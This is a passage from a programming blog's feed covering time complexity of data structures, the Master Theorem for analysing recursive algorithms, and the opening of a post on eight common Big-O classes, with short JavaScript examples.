<td><a href="#Search-an-element-in-an-array">O(n)</a></td>
<td><a href="#Deleting-elements-from-an-array">O(n)</a></td>
<td>Insertion to the end is <code>O(1)</code>. <a href="#Array-operations-time-complexity">Details here.</a></td>
</tr>
<tr>
<td><a href="#HashMaps">HashMap</a></td>
<td><a href="#Insert-element-on-a-HashMap-runtime">O(1)</a></td>
<td><a href="#Search-Access-an-element-on-a-HashMap-runtime">O(1)</a></td>
<td><a href="#Search-Access-an-element-on-a-HashMap-runtime">O(1)</a></td>
<td><a href="#Edit-Delete-element-on-a-HashMap-runtime">O(1)</a></td>
<td>Rehashing might affect insertion time. <a href="#HashMap-operations-time-complexity">Details here.</a></td>
</tr>
<tr>
<td>Map (using Binary Search Tree)</td>
<td>O(log(n))</td>
<td>-</td>
<td>O(log(n))</td>
<td>O(log(n))</td>
<td>Implemented using Binary Search Tree</td>
</tr>
<tr>
<td><a href="#Sets">Set (using HashMap)</a></td>
<td><a href="#Set-Implementation">O(1)</a></td>
<td>-</td>
<td><a href="#Set-Implementation">O(1)</a></td>
<td><a href="#Set-Implementation">O(1)</a></td>
<td>Set using a HashMap implementation. <a href="#Set-Operations-runtime">Details here.</a></td>
</tr>
<tr>
<td>Set (using list)</td>
<td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.add">O(n)</a></td>
<td>-</td>
<td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.has">O(n)</a></td>
<td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.delete">O(n)</a></td>
<td>Implemented using Binary Search Tree</td>
</tr>
<tr>
<td>Set (using Binary Search Tree)</td>
<td>O(log(n))</td>
<td>-</td>
<td>O(log(n))</td>
<td>O(log(n))</td>
<td>Implemented using Binary Search Tree</td>
</tr>
<tr>
<td><a href="#Singly-Linked-Lists">Linked List (singly)</a></td>
<td><a href="#SinglyLinkedList.addLast">O(n)</a></td>
<td>-</td>
<td><a href="#LinkedList.contains">O(n)</a></td>
<td><a href="#LinkedList.remove">O(n)</a></td>
<td>Adding/Removing to the start of the list is <code>O(1)</code>. <a href="#Singly-Linked-Lists-time-complexity">Details here</a>.</td>
</tr>
<tr>
<td><a href="#Doubly-Linked-Lists">Linked List (doubly)</a></td>
<td><a href="#DoublyLinkedList.add">O(n)</a></td>
<td>-</td>
<td><a href="#LinkedList.contains">O(n)</a></td>
<td><a href="#LinkedList.remove">O(n)</a></td>
<td>Adding/Deleting from the beginning/end is <code>O(1)</code>. But, deleting/adding from the middle is <code>O(n)</code>. <a href="#Doubly-Linked-Lists-time-complexity">Details here</a></td>
</tr>
<tr>
<td><a href="#Stacks">Stack (array implementation)</a></td>
<td><a href="#Stacks">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#Stacks">O(1)</a></td>
<td>Insert/delete is last-in, first-out (LIFO)</td>
</tr>
<tr>
<td><a href="#QueueNaiveImpl">Queue (naïve array impl.)</a></td>
<td><a href="#QueueNaiveImpl">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#QueueNaiveImpl">O(n)</a></td>
<td>Remove (<code>Array.shift</code>) is <em>O(n)</em></td>
</tr>
<tr>
<td><a href="#QueueArrayImpl">Queue (array implementation)</a></td>
<td><a href="#QueueArrayImpl">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#QueueArrayImpl">O(1)</a></td>
<td>Worst time insert is O(n). However amortized is O(1)</td>
</tr>
<tr>
<td><a href="#QueueListImpl">Queue (list implementation)</a></td>
<td><a href="#QueueListImpl">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#QueueListImpl">O(1)</a></td>
<td>Using Doubly Linked List with reference to the last element.</td>
</tr>
</tbody></table>
<p>Note: <strong>Binary search trees</strong> and trees, in general, will be cover in the next post. Also, graph data structures.</p>
<!-- Links

http://bigocheatsheet.com/

http://cooervo.github.io/Algorithms-DataStructures-BigONotation/

https://medium.freecodecamp.org/time-is-complex-but-priceless-f0abd015063c

https://code.tutsplus.com/tutorials/data-structures-with-javascript-whats-a-data-structure--cms-23347


Arrays:

Time complexity table for Arrays and dynamic DS
https://en.wikipedia.org/wiki/Linked_list#Linked_lists_vs._dynamic_arrays

JavaScript runtime complexity of Array functions
https://stackoverflow.com/a/22615787/684957


Backlinks:

https://www.reddit.com/r/compsci/comments/8m1dx0/data_structures_for_beginners_arrays_hashmaps_and/

https://adrianmejia.com/blog/2018/04/28/data-structures-time-complexity-for-beginners-arrays-hashmaps-linked-lists-stacks-queues-tutorial/
2、各种数据结构的 JavaScript 实现（英文）

https://www.yuque.com/ruanyf/share/issue-10
-->
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;When we are developing software, we have to store data in memory. However, many types of data structures, such as arrays, maps, sets, lists, trees, graphs, etc., and choosing the right one for the task can be tricky. This series of posts will help you know the trade-offs so that you can use the right tool for the job!&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>Analysis of Recursive Algorithms</title>
    <link href="https://adrianmejia.com/Analysis-of-Recursive-Algorithms/"/>
    <id>https://adrianmejia.com/Analysis-of-Recursive-Algorithms/</id>
    <published>2018-04-24T12:44:35.000Z</published>
    <updated>2018-04-24T12:44:35.000Z</updated>
    
    <content type="html"><![CDATA[<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML" async></script>



<p>Analyzing the running time of non-recursive algorithms is pretty straightforward. You count the lines of code, and if there are any loops, you multiply by the length. However, recursive algorithms are not that intuitive. They divide the input into one or more subproblems. On this post, we are going to learn how to get the big O notation for most recursive algorithms.</p>
<a id="more"></a>

<p>We are going to explore how to obtain the time complexity of recursive algorithms. For that, we are going to use the <strong>Master Theorem</strong> (or master method).</p>
<!-- One is the **Master Theorem** and other is the **Recursion Tree**.  -->

<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p><a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">Intro to algorithm’s time complexity and Big O notation</a></p>
<!-- 1. Intro to Algorithm's Time Complexity and Big O Notation **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight time complexities that every programmer should know</a></p>
<!-- 1. Eight time complexities that every programmer should know **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/28/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/">Data Structures for Beginners: Arrays, HashMaps, and Lists</a></p>
<!-- 1. Data Structures for Beginners: Arrays, HashMaps, and Lists **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph Data Structures for Beginners</a></p>
<!-- 1. Graph Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/">Trees Data Structures for Beginners</a></p>
<!-- 1. Trees Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/07/16/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/">Self-balanced Binary Search Trees</a></p>
<!-- 1. Self-balanced Binary Search Trees  **👈 you are here** -->
</li>
<li><p>Appendix I: Analysis of Recursive Algorithms <strong>👈 you are here</strong></p>
<!-- 1. [Appendix I: Analysis of Recursive Algorithms](/blog/2018/04/24/Analysis-of-Recursive-Algorithms/) -->
</li>
</ol>
<hr>
<h2 id="Master-Theorem"><a href="#Master-Theorem" class="headerlink" title="Master Theorem"></a>Master Theorem</h2><p>The Master Theorem is the easiest way of obtaining runtime of recursive algorithms. First, you need to identify three elements:</p>
<ul>
<li><em><code>a</code></em>: Subproblems. How many recursion (split) functions are there? E.g., the Binary search has 1 split, Merge Sort has 2 split, etc.</li>
<li><em><code>b</code></em>: Relative subproblem size. What rate is the input reduced? E.g., Binary search and Merge sort cut input in half.</li>
<li><em><code>f(n)</code></em> Runtime of the work done outside the recursion? E.g. `O(n)` or `O(1)`</li>
</ul>
<p>The general formula for the Master Theorem is:</p>
<blockquote>
<p>` T(n) = a * T(n / b) + f(n) `</p>
</blockquote>
<p>Once, we have <code>a</code>, <code>b</code> and <code>f(n)</code> we can determine the runtime of the work done by the recursion. That is given by:</p>
<blockquote>
<p>` O(n^(log_b a)) `</p>
</blockquote>
<p>Finally, we compare the runtime of the split/recursion functions and <em><code>f(n)</code></em>. There are 3 possible cases:</p>
<p><strong>Case 1</strong> Recursion/split runtime is higher: `n^(log_b a) &gt; f(n)`</p>
<blockquote>
<p>Final runtime: `O(n^(log_b a))`</p>
</blockquote>
<p><strong>Case 2</strong> Same runtime inside and outside recursion: `n^(log_b a) ~~ f(n)`</p>
<blockquote>
<p>Final runtime: `O(n^(log_b a) log n)`</p>
</blockquote>
<p><strong>Case 3:</strong> Recursion/split runtime is lower: `n^(log_b a) &lt; f(n)`</p>
<blockquote>
<p>Final runtime: `O(f(n))`</p>
</blockquote>
<p>These 3 cases might see a little abstract at first, but after a few examples, it will be more evident.</p>
<h2 id="Master-Theorem-Examples"><a href="#Master-Theorem-Examples" class="headerlink" title="Master Theorem Examples"></a>Master Theorem Examples</h2><p>In the [previous post])(/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/) we used Master Method to get the time complexity for the <a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/#Binary-search">binary search</a> and <a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/#Mergesort">merge sort</a>. Both of them fall into the case 2. Let’s explore some other examples.</p>
<h3 id="Case-1-Example"><a href="#Case-1-Example" class="headerlink" title="Case 1 Example"></a>Case 1 Example</h3><p>What’s the runtime of this recursion?</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">recursiveFn1</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line"> <span class="keyword">if</span>(!n) &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line"> <span class="keyword">return</span> recursiveFn1(n/<span class="number">4</span>) + recursiveFn1(n/<span class="number">4</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>1)</strong> Let’s identify <code>a</code>, <code>b</code> and <code>f(n)</code> from the Master Theorem</p>
<ul>
<li>Sub-problems? 2, so <code>a=2</code></li>
<li>Sub-problems size? it’s 1/4 of the original <code>n</code> size, thus <code>b=4</code></li>
<li>Runtime without recursion? Constant, therefore <code>f(n) = 1</code>.</li>
</ul>
<p>Substituting the values we get:</p>
<p>` T(n) = a * T(n / b) + f(n) `</p>
<p>` T(n) = 2 * T(n / 4) + 1 `</p>
<p><strong>2)</strong> What’s the runtime of the recursion by itself? Using the formula, we get:</p>
<p>` n^(log_b a) `</p>
<p>` n^(log_4 2) = n^0.5 = sqrt(n)`</p>
<p><strong>3)</strong> Comparing <code>f(n)</code> with the result in step 2, we see that it matches case 1.</p>
<p>Since `O(n^0.5) &gt; O(1)` then the runtime is:</p>
<p>` O(n^(log_b a)) `</p>
<p>` O(n^(log_4 2)) `</p>
<blockquote>
<p>`  O(sqrt(n)) `</p>
</blockquote>
<h3 id="Case-2-Example"><a href="#Case-2-Example" class="headerlink" title="Case 2 Example"></a>Case 2 Example</h3><p>What would be the runtime of the mergesort if instead of splitting the array in 2 we split it up in 3?</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">sort</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line"> <span class="keyword">const</span> length = n.length;</span><br><span class="line"> <span class="comment">// base case</span></span><br><span class="line"> <span class="keyword">if</span>(length === <span class="number">1</span>) &#123;</span><br><span class="line"> <span class="keyword">return</span> n;</span><br><span class="line">  &#125;</span><br><span class="line"> <span class="keyword">if</span>(length === <span class="number">2</span>) &#123;</span><br><span class="line"> <span class="keyword">return</span> n[<span class="number">0</span>] &gt; n[<span class="number">1</span>] ? [n[<span class="number">1</span>], n[<span class="number">0</span>]] : [n[<span class="number">0</span>], n[<span class="number">1</span>]];</span><br><span class="line">  &#125;</span><br><span class="line"> <span class="comment">// slit and merge</span></span><br><span class="line"> <span class="keyword">const</span> third = length/<span class="number">3</span>;</span><br><span class="line"> <span class="keyword">return</span> merge(</span><br><span class="line"> sort(n.slice(<span class="number">0</span>, third)),</span><br><span class="line"> sort(n.slice(third, <span class="number">2</span> * third)),</span><br><span class="line"> sort(n.slice(<span class="number">2</span> * third))</span><br><span class="line"> );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">merge</span>(<span class="params">a = [], b = [], c = []</span>) </span>&#123;</span><br><span class="line"> <span class="keyword">const</span> merged = [];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> ai = <span class="number">0</span>, bi = <span class="number">0</span>, ci = <span class="number">0</span>; ai &lt; a.length || bi &lt; b.length || ci &lt; c.length;) &#123;</span><br><span class="line"> <span class="keyword">const</span> nonNullValues = [a[ai], b[bi], c[ci]].filter(<span class="function"><span class="params">x</span> =&gt;</span> x === <span class="number">0</span> || x );</span><br><span class="line"> <span class="keyword">const</span> min = <span class="built_in">Math</span>.min.apply(<span class="literal">null</span>, nonNullValues);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(min === a[ai]) &#123;</span><br><span class="line"> merged.push(a[ai++]);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span>(min === b[bi]) &#123;</span><br><span class="line"> merged.push(b[bi++]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> merged.push(c[ci++]);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> merged;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>So, this new implementation divides the input into 3 subproblems (<code>a = 3</code>). The input size is divided by 3 (<code>b=3</code>). The work to <code>merge</code> the 3 sub-problems is still <code>O(n)</code>.</p>
<p><strong>1)</strong> Using the Master Theorem, we get:</p>
<p>` T(n) = a * T(n / b) + f(n) `</p>
<p>` T(n) = 3 * T(n / 3) + n `</p>
<p><strong>2)</strong> Let’s compute the amount of work done in the recursion:</p>
<p>` n^(log_b a) `</p>
<p>` n^(log_3 3) = n `</p>
<p><strong>3)</strong> Since <code>f(n)</code> and the recursive work is the same: <code>n</code>, we are looking at the <em>case 2</em>. Thus, the runtime is:</p>
<p>`O(n^(log_b a) log n)`</p>
<p>`O(n^(log_3 3) log n)`</p>
<blockquote>
<p>`O(n log n)`</p>
</blockquote>
<p>It’s the same as merge sort dividing the input into 2 subproblems and half <code>n</code>.</p>
<h3 id="Case-3-Example"><a href="#Case-3-Example" class="headerlink" title="Case 3 Example"></a>Case 3 Example</h3><p>The case 3 of the Master Method is not very common in real life. It implies that most of the work is done in the base case of the recursion. If most work is done outside the recursion, it means that we can re-write the code in a non-recursive way.</p>
<p>Anyways, let’s solve this example:</p>
<p><strong>1)</strong> ` T(n) = 3 * T(n / 2) + n^2 `</p>
<ul>
<li>a=3</li>
<li>b=2</li>
<li>f(n) = n^2</li>
</ul>
<p><strong>2)</strong> Calculate recursive work:</p>
<p>` n^(log_2 3) `</p>
<p>` n^(1.48) `</p>
<p><strong>3)</strong> Since <em><code>f(n)</code></em> is bigger than the recursive work we have:</p>
<blockquote>
<p>` O(n^2) `</p>
</blockquote>
<h2 id="Master-Method-Exceptions"><a href="#Master-Method-Exceptions" class="headerlink" title="Master Method Exceptions"></a>Master Method Exceptions</h2><p>The master method is handy but there are certain cases when you cannot use it.</p>
<ul>
<li><em><code>T(n)</code></em> is not monotone. E.g. ` T(n) = sin n`.</li>
<li><em><code>f(n)</code></em> is not polynomial. E.g. ` T(n) = 2 * T(n/2) + 2^n `.</li>
<li><em><code>b</code></em> cannot be expressed as a constant. E.g. ` T(n) = 2 * T(sqrt(n)) + n `.</li>
</ul>
<p>For these cases, you would have to recursion tree method or substitution method. We are going to explore these methods in future posts after covering the fundamentals.</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>On this post, we provided the tools to quickly obtain the runtime of recursive algorithms that split input by a constant factor. We covered the Master Method and provided examples for each one of its possible cases.</p>
]]></content>
    
    <summary type="html">
    
      &lt;script type=&quot;text/javascript&quot; src=&quot;https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML&quot; async&gt;&lt;/script&gt;



&lt;p&gt;Analyzing the running time of non-recursive algorithms is pretty straightforward. You count the lines of code, and if there are any loops, you multiply by the length. However, recursive algorithms are not that intuitive. They divide the input into one or more subproblems. On this post, we are going to learn how to get the big O notation for most recursive algorithms.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>8 time complexities that every programmer should know</title>
    <link href="https://adrianmejia.com/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/"/>
    <id>https://adrianmejia.com/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/</id>
    <published>2018-04-05T20:10:09.000Z</published>
    <updated>2019-09-19T15:39:53.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>Learn how to compare algorithms and develop code that scales! In this post, we cover 8 Big-O notations and provide an example or 2 for each. We are going to learn the top algorithm’s running time that every developer should be familiar with. Knowing these time complexities will help you to assess if your code will scale. Also, it’s handy to compare multiple solutions for the same problem. By the end of it, you would be able to eyeball different implementations and know which one will perform better without running the code!</p>
<a id="more"></a>

<p>In the <a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">previous post</a>, we saw how Alan Turing saved millions of lives with an optimized algorithm. In most cases, faster algorithms can save you time, money and enable new technology. So, this is paramount to know how to measure algorithms’ performance.</p>
<h3 id="What-is-time-complexity"><a href="#What-is-time-complexity" class="headerlink" title="What is time complexity?"></a>What is time complexity?</h3><p>To recap <strong>time complexity</strong> estimates how an algorithm performs regardless of the kind of machine it runs on. You can get the time complexity by “counting” the number of operations performed by your code. This time complexity is defined as a function of the input size <code>n</code> using Big-O notation. <code>n</code> indicates the input size, while O is the worst-case scenario growth rate function.</p>
<p>We use the Big-O notation to classify algorithms based on their running time or space (memory used) as the input grows. The <code>O</code> function is the growth rate in function of the input size <code>n</code>.</p>
<p>Here are the <strong>big O cheatsheet</strong> and examples that we will cover in this post before we dive in. <strong>Click</strong> on them to go to the implementation. 😉</p>
<table>
<thead>
<tr>
<th>Big O Notation</th>
<th>Name</th>
<th>Example(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td class="green"><i>O(1)</i></td>
<td class="green">Constant</td>
<td># <a href="#Odd-or-Even">Odd or Even number</a>,<br># <a href="#Look-up-table">Look-up table (on average)</a></td>
</tr>
<tr>
<td class="green"><i>O(log n)</i></td>
<td class="green">Logarithmic</td>
<td># <a href="#Binary-search">Finding element on sorted array with <strong>binary search</strong></a></td>
</tr>
<tr>
<td class="green"><i>O(n)</i></td>
<td class="green">Linear</td>
<td># <a href="#The-largest-item-on-an-unsorted-array">Find max element in unsorted array</a>,<br># Duplicate elements in array with Hash Map</td>
</tr>
<tr>
<td class="green"><i>O(n log n)</i></td>
<td class="green">Linearithmic</td>
<td># <a href="#Mergesort">Sorting elements in array with <strong>merge sort</strong></a></td>
</tr>
<tr>
<td class="orange"><i>O(n<sup>2</sup>)</i></td>
<td class="orange">Quadratic</td>
<td># <a href="#Has-duplicates">Duplicate elements in array **(naïve)**</a>,<br># <a href="#Bubble-sort">Sorting array with <strong>bubble sort</strong></a></td>
</tr>
<tr>
<td class="orange"><i>O(n<sup>3</sup>)</i></td>
<td class="orange">Cubic</td>
<td># <a href="#Triple-nested-loops">3 variables equation solver</a></td>
</tr>
<tr>
<td class="red"><i>O(2<sup>n</sup>)</i></td>
<td class="red">Exponential</td>
<td># <a href="#Subsets-of-a-Set">Find all subsets</a></td>
</tr>
<tr>
<td class="red"><i>O(n!)</i></td>
<td class="red">Factorial</td>
<td># <a href="#Permutations">Find all permutations of a given set/string</a></td>
</tr>
</tbody>
</table>

<p>Now, Let’s go one by one and provide code examples!</p>
<p>You can find all these implementations and more in the Github repo:
<a href="https://github.com/amejiarosario/dsa.js">https://github.com/amejiarosario/dsa.js</a></p>
<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p><a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">Intro to algorithm’s time complexity and Big O notation</a></p>
<!-- 1. Intro to Algorithm's Time Complexity and Big O Notation **👈 you are here** -->
</li>
<li><p>Eight time complexities that every programmer should know <strong>👈 you are here</strong></p>
<!-- 1. [Eight time complexities that every programmer should know](/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/) -->
</li>
<li><p><a href="/blog/2018/04/28/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/">Data Structures for Beginners: Arrays, HashMaps, and Lists</a></p>
<!-- 1. Data Structures for Beginners: Arrays, HashMaps, and Lists **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph Data Structures for Beginners</a></p>
<!-- 1. Graph Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/">Trees Data Structures for Beginners</a></p>
<!-- 1. Trees Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/07/16/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/">Self-balanced Binary Search Trees</a></p>
<!-- 1. Self-balanced Binary Search Trees  **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/24/Analysis-of-Recursive-Algorithms/">Appendix I: Analysis of Recursive Algorithms</a></p>
<!-- 1. Appendix I: Analysis of Recursive Algorithms **👈 you are here** -->
</li>
</ol>
<hr>
<!-- table: time complexities -->

<h2 id="O-1-Constant-time"><a href="#O-1-Constant-time" class="headerlink" title="O(1) - Constant time"></a>O(1) - Constant time</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/mnv6sV-Ih8s?rel=0&start=520" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p><code>O(1)</code> describes algorithms that take the same amount of time to compute regardless of the input size.</p>
<p>For instance, if a function takes the same time to process ten elements and 1 million items, then we say that it has a constant growth rate or <code>O(1)</code>. Let’s see some cases.</p>
<p><strong>Examples of constant runtime algorithms</strong>:</p>
<ul>
<li>Find if a number is even or odd.</li>
<li>Check if an item on an array is null.</li>
<li>Print the first element from a list.</li>
<li>Find a value on a map.</li>
</ul>
<p>For our discussion, we are going to implement the first and last example.</p>
<h3 id="Odd-or-Even"><a href="#Odd-or-Even" class="headerlink" title="Odd or Even"></a>Odd or Even</h3><p>Find if a number is odd or even.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isEvenOrOdd</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> n % <span class="number">2</span> ? <span class="string">&#x27;Odd&#x27;</span> : <span class="string">&#x27;Even&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(isEvenOrOdd(<span class="number">10</span>)); <span class="comment">// =&gt; Even</span></span><br><span class="line"><span class="built_in">console</span>.log(isEvenOrOdd(<span class="number">10001</span>)); <span class="comment">// =&gt; Odd</span></span><br></pre></td></tr></table></figure>

<p><strong>Advanced Note:</strong> you could also replace <em><code>n % 2</code></em> with the bit AND operator: <em><code>n &amp; 1</code></em>. If the first bit (<abbr title="Least Significant Bit">LSB</abbr>) is <code>1</code> then is odd otherwise is even.</p>
<p>It doesn’t matter if n is <code>10</code> or <code>10,001</code>. It will execute line 2 one time.</p>
<blockquote>
<p>Do not be fooled by one-liners. They don’t always translate to constant times. You have to be aware of how they are implemented.</p>
</blockquote>
<p>If you have a method like <code>Array.sort()</code> or any other array or object method, you have to look into the implementation to determine its running time.</p>
<p>Primitive operations like sum, multiplication, subtraction, division, modulo, bit shift, etc., have a constant runtime. Did you expect that? Let’s go into detail about why they are constant time. If you use the schoolbook long multiplication algorithm, it would take <code>O(n<sup>2</sup>)</code> to multiply two numbers. However, most programming languages limit numbers to max value (e.g. in JS: <code>Number.MAX_VALUE</code> is <code>1.7976931348623157e+308</code>). So, you cannot operate numbers that yield a result greater than the <code>MAX_VALUE</code>. So, primitive operations are bound to be completed on a fixed amount of instructions <code>O(1)</code> or throw overflow errors (in JS, <code>Infinity</code> keyword).</p>
<!-- Addition O(n), Multiplication O(n^2) https://en.wikipedia.org/wiki/Computational_complexity_of_mathematical_operations -->

<p> This example was easy. Let’s do another one.</p>
<h3 id="Look-up-table"><a href="#Look-up-table" class="headerlink" title="Look-up table"></a>Look-up table</h3><p>Given a string, find its word frequency data.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> dictionary = &#123;<span class="attr">the</span>: <span class="number">22038615</span>, <span class="attr">be</span>: <span class="number">12545825</span>, <span class="attr">and</span>: <span class="number">10741073</span>, <span class="attr">of</span>: <span class="number">10343885</span>, <span class="attr">a</span>: <span class="number">10144200</span>, <span class="attr">in</span>: <span class="number">6996437</span>, <span class="attr">to</span>: <span class="number">6332195</span> <span class="comment">/* ... */</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getWordFrequency</span>(<span class="params">dictionary, word</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> dictionary[word];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(getWordFrequency(dictionary, <span class="string">&#x27;the&#x27;</span>));</span><br><span class="line"><span class="built_in">console</span>.log(getWordFrequency(dictionary, <span class="string">&#x27;in&#x27;</span>));</span><br></pre></td></tr></table></figure>

<p>Again, we can be sure that even if the dictionary has 10 or 1 million words, it would still execute line 4 once to find the word. However, if we decided to store the dictionary as an array rather than a hash map, it would be a different story. In the next section, we will explore what’s the running time to find an item in an array.</p>
<blockquote>
<p>Only a hash table with a perfect <em>hash function</em> will have a worst-case runtime of <em>O(1)</em>. The ideal hash function is not practical, so some collisions and workarounds lead to a worst-case runtime of <em>O(n)</em>. Still, on <em>average</em>, the lookup time is <em>O(1)</em>.</p>
</blockquote>
<h2 id="O-n-Linear-time"><a href="#O-n-Linear-time" class="headerlink" title="O(n) - Linear time"></a>O(n) - Linear time</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/mnv6sV-Ih8s?rel=0&start=732" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Linear running time algorithms are widespread. These algorithms imply that the program visits every element from the input.</p>
<p>Linear time complexity <em><code>O(n)</code></em> means that the algorithms take proportionally longer to complete as the input grows.</p>
